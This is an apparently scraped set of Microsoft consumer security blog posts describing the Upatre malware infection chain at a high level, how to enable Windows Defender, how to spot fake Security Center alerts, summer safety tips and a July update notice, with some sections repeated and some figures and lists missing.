By adding Vonteera to the MSRT we hope to have a bigger impact and reach more affected machines and help remove this unwanted software. However, as with all threats, prevention is the best protection.

Stay protected

To help stay protected from this and other threats we recommend running up-to-date real-time security software such as Windows Defender for Windows 8.1 and Windows 10.

We also recommend you:

• Ensure all your software is up-to-date.
• Avoid clicking on links or opening attachments or emails from people you don’t know or companies you don’t do business with.
• Ensure you have SmartScreen (in Internet Explorer) turned on.
• Have a pop-up blocker running in your web browser.
• Be wary about downloading software from websites other than the program developers.

For more tips on preventing malware infections, including ransomware infections, see:

• Help prevent malware infections on your PC.​

Upatre is a type of malware that is typically installed on a machine after a person is tricked into clicking on a link or opens an attachment contained in a spam email. Since January 2015,  we have seen spam emails commonly distributed by variants of the Hedsen and Cutwail malware families.

Upatre's malicious actions vary, but it commonly acts as a central distribution platform for a number of other threat families.  For example:

 

The infection chain 

Essentially, a system is infected with Upatre through either the Hedsen or Cutwail threat family.  Upatre then spreads to other machines using Hedsen and Cutwail (a typical cyclical/symbiotic relationship we often see in spammers and information stealers), in an attempt to steal information about a user and their machine with Dyzap, Kegotip and Gophe families. It also tries to prevent detection by using Evotob.

 

Figure 1: Upatre infection chain since January 2015

 

Where is Upatre most prevalent?

The following chart shows the percentage of Upatre infections in the mostly affected countries.

Figure 2: A breakdown of the countries mostly affected by the Upatre infections since January 2015

 

Detection rates for these countries is as follows:

Figure 3: The data shows the United States having the most Upatre infection since January 2015

Figure 4: A breakdown by top countries reporting malware in the Upatre infection chain since January 2015 

 

How can you help protect your enterprise software security infrastructure from Upatre? 

Upatre manages to sneak in to security infrastructures by employing age-old social engineering tricks. It tricks people by enticing them to click on malicious links through spam emails.

A combination of the following will help protect against Upatre:

 

Patrick Estavillo

MMPC

Upatre is a type of malware that is typically installed on a machine after a person is tricked into clicking on a link or opens an attachment contained in a spam email. Since January 2015,  we have seen spam emails commonly distributed by variants of the Hedsen and Cutwail malware families.

Upatre's malicious actions vary, but it commonly acts as a central distribution platform for a number of other threat families.  For example:

 

The infection chain 

Essentially, a system is infected with Upatre through either the Hedsen or Cutwail threat family.  Upatre then spreads to other machines using Hedsen and Cutwail (a typical cyclical/symbiotic relationship we often see in spammers and information stealers), in an attempt to steal information about a user and their machine with Dyzap, Kegotip and Gophe families. It also tries to prevent detection by using Evotob.

 

Figure 1: Upatre infection chain since January 2015

 

Where is Upatre most prevalent?

The following chart shows the percentage of Upatre infections in the mostly affected countries.

Figure 2: A breakdown of the countries mostly affected by the Upatre infections since January 2015

 

Detection rates for these countries is as follows:

Figure 3: The data shows the United States having the most Upatre infection since January 2015

Figure 4: A breakdown by top countries reporting malware in the Upatre infection chain since January 2015 

 

How can you help protect your enterprise software security infrastructure from Upatre? 

Upatre manages to sneak in to security infrastructures by employing age-old social engineering tricks. It tricks people by enticing them to click on malicious links through spam emails.

A combination of the following will help protect against Upatre:

 

Patrick Estavillo

MMPC

Phil asks:

I’m new to Windows 8.1. Now that my free security software has expired, how do I go about making Windows Defender my choice security method?

Windows Defender is included with Windows 8 and Windows 8.1 and helps protect your PC against malware (malicious software). Many new computers come with free subscriptions to antivirus software and other security programs from companies other than Microsoft. If the subscription runs out and you don’t want to pay for it, you need to:

1. Fully uninstall the non-Microsoft security software that came with your computer.
2. Make sure Windows Defender is turned on.

To uninstall the security software that came with your computer, check the software’s Help file.

Make sure Windows Defender is turned on in Windows 8

1. Swipe in from the right edge of the screen and tap Search (or if you’re using a mouse, point to the upper-right corner of the screen, move the mouse pointer down, and then click Search).
2. In the Search box, type Windows Defender.
3. Tap or click the Windows Defender icon.
4. Go to Settings, and make sure that Turn on real-time protection (recommended) is selected.
5. Tap or click Save Changes.

Phil asks:

I’m new to Windows 8.1. Now that my free security software has expired, how do I go about making Windows Defender my choice security method?

Windows Defender is included with Windows 8 and Windows 8.1 and helps protect your PC against malware (malicious software). Many new computers come with free subscriptions to antivirus software and other security programs from companies other than Microsoft. If the subscription runs out and you don’t want to pay for it, you need to:

1. Fully uninstall the non-Microsoft security software that came with your computer.
2. Make sure Windows Defender is turned on.

To uninstall the security software that came with your computer, check the software’s Help file.

Make sure Windows Defender is turned on in Windows 8

1. Swipe in from the right edge of the screen and tap Search (or if you’re using a mouse, point to the upper-right corner of the screen, move the mouse pointer down, and then click Search).
2. In the Search box, type Windows Defender.
3. Tap or click the Windows Defender icon.
4. Go to Settings, and make sure that Turn on real-time protection (recommended) is selected.
5. Tap or click Save Changes.

Phil asks:

I’m new to Windows 8.1. Now that my free security software has expired, how do I go about making Windows Defender my choice security method?

Windows Defender is included with Windows 8 and Windows 8.1 and helps protect your PC against malware (malicious software). Many new computers come with free subscriptions to antivirus software and other security programs from companies other than Microsoft. If the subscription runs out and you don’t want to pay for it, you need to:

1. Fully uninstall the non-Microsoft security software that came with your computer.
2. Make sure Windows Defender is turned on.

To uninstall the security software that came with your computer, check the software’s Help file.

Make sure Windows Defender is turned on in Windows 8

1. Swipe in from the right edge of the screen and tap Search (or if you’re using a mouse, point to the upper-right corner of the screen, move the mouse pointer down, and then click Search).
2. In the Search box, type Windows Defender.
3. Tap or click the Windows Defender icon.
4. Go to Settings, and make sure that Turn on real-time protection (recommended) is selected.
5. Tap or click Save Changes.

A reader writes:

What kind of warnings from Windows Security Center are real, and what should I do about them?

Windows Security Center is a feature that was introduced in Windows XP Service Pack 2 and was also included in Windows Vista. (Action Center replaced Windows Security Center in Windows 7.)

Security Center checks the security status on your computer, including:

• Firewall settings

• Windows automatic updating

• Antivirus software settings

• Internet security settings

• User Account Control settings

If Security Center detects a security problem, it displays a notification and puts a Security Center icon  in the notification area. Click the notification or double-click the Security Center icon  to open Security Center and get information about how to fix the problem.

Is Windows Security Center a virus?

In the years since Security Center was introduced, cybercriminals have created several different kinds of malware that look like Security Center or have the same name. If you have this malware on your computer, it might lure you into a fraudulent transaction, steal your personal information, or slow down your computer. This kind of malware is called “rogue security software.” Learn how to spot and avoid these fake virus alerts.

How do I know if the warnings are real?

1. If you think a warning looks suspicious, the first thing you can do is run antivirus software on your computer, which might let you know if you have a virus. Learn more about antivirus software for your operating system.
2. To check your knowledge of real security warnings and fake security warnings, and to learn how to help protect your computer and personal information, take our quiz.

Summer is in full swing. Here are our best safety and security tips for the season.

1. Don’t broadcast vacation plans on your social networking sites. If you’re leaving your home unoccupied and at risk for potential burglary, you might want to wait to post your vacation photographs until you return home. Get more tips for email and social networking safety.

2. Limit who knows your location. Before you go on vacation, take a few minutes to adjust settings for sharing your location on your social networking sites and any apps on your smartphone. If you have kids who go online, make sure they know this, too. For more information, see Use location services more safely.

3. Set computer and device rules for when you’re not around. If your kids are old enough to stay home alone when they’re not at school, make sure you talk to them about Internet safety. Download our tip sheet for pointers to jump-start—or continue—online safety conversations.

4. Learn how to use parental controls. All Microsoft products include built-in privacy controls and safeguards that put you in charge of your children’s entertainment experiences and allow you to customize how personal information is, or is not, shared. Get step-by-step guidance on how to switch on safety settings across Microsoft technology and devices at home.

5. Stay safe when playing games online. If your children’s summer sport of choice is the Xbox, Xbox One, Kinect, or other online or console game, learn about the core family safety features of Xbox One and find other ways to help kids play it safe.

6. Update your software on your laptop or tablet. Before you go on vacation, make sure all your software is updated, to help prevent problems caused by hackers. If your laptop is still running Windows XP, read about the end of support for Windows XP.

7. Check the security level of public Wi-Fi networks before you use them. Choose the most secure connection—even if that means you have to pay for access. A password-protected connection (ideally one that is unique for your use) is better than one without a password. Both Windows 7 and Windows 8 can help you evaluate and minimize network security risks.

8. Avoid typing sensitive information on your laptop using an unsecured wireless connection. If possible, save your financial transactions for after your summer vacation on a secured home connection. For more information, see How to know if a financial transaction is secure.

9. Watch out for suspicious messages from your friends on vacation asking for money. This is a common scam cybercriminals use when they’ve hacked into someone’s account. Find a different way to contact your friend. Learn more about scam email messages.

Today, the Microsoft Security Response Center (MSRC) posted details about the July security updates.

If you have automatic updating turned on, most of these updates will download and install on their own. Sometimes you may need to provide input for Windows Update during an installation. In this case, you’ll see an alert in the notification area at the far right of the taskbar—be sure to click it.

In Windows 8, Windows will turn on automatic updating during setup unless you choose to turn it off. To check this setting and turn on automatic updating, open the Search charm, enter Turn automatic updating on or off, and tap or click Settings to find it. 

Learn how to install Windows Updates in Windows 7.

If you are a technical professional

The Microsoft Security Bulletin Advance Notification Service offers details about security updates approximately three business days before they are released. We do this to enable customers (especially IT professionals) to plan for effective deployment of security updates.

Sign up for security notifications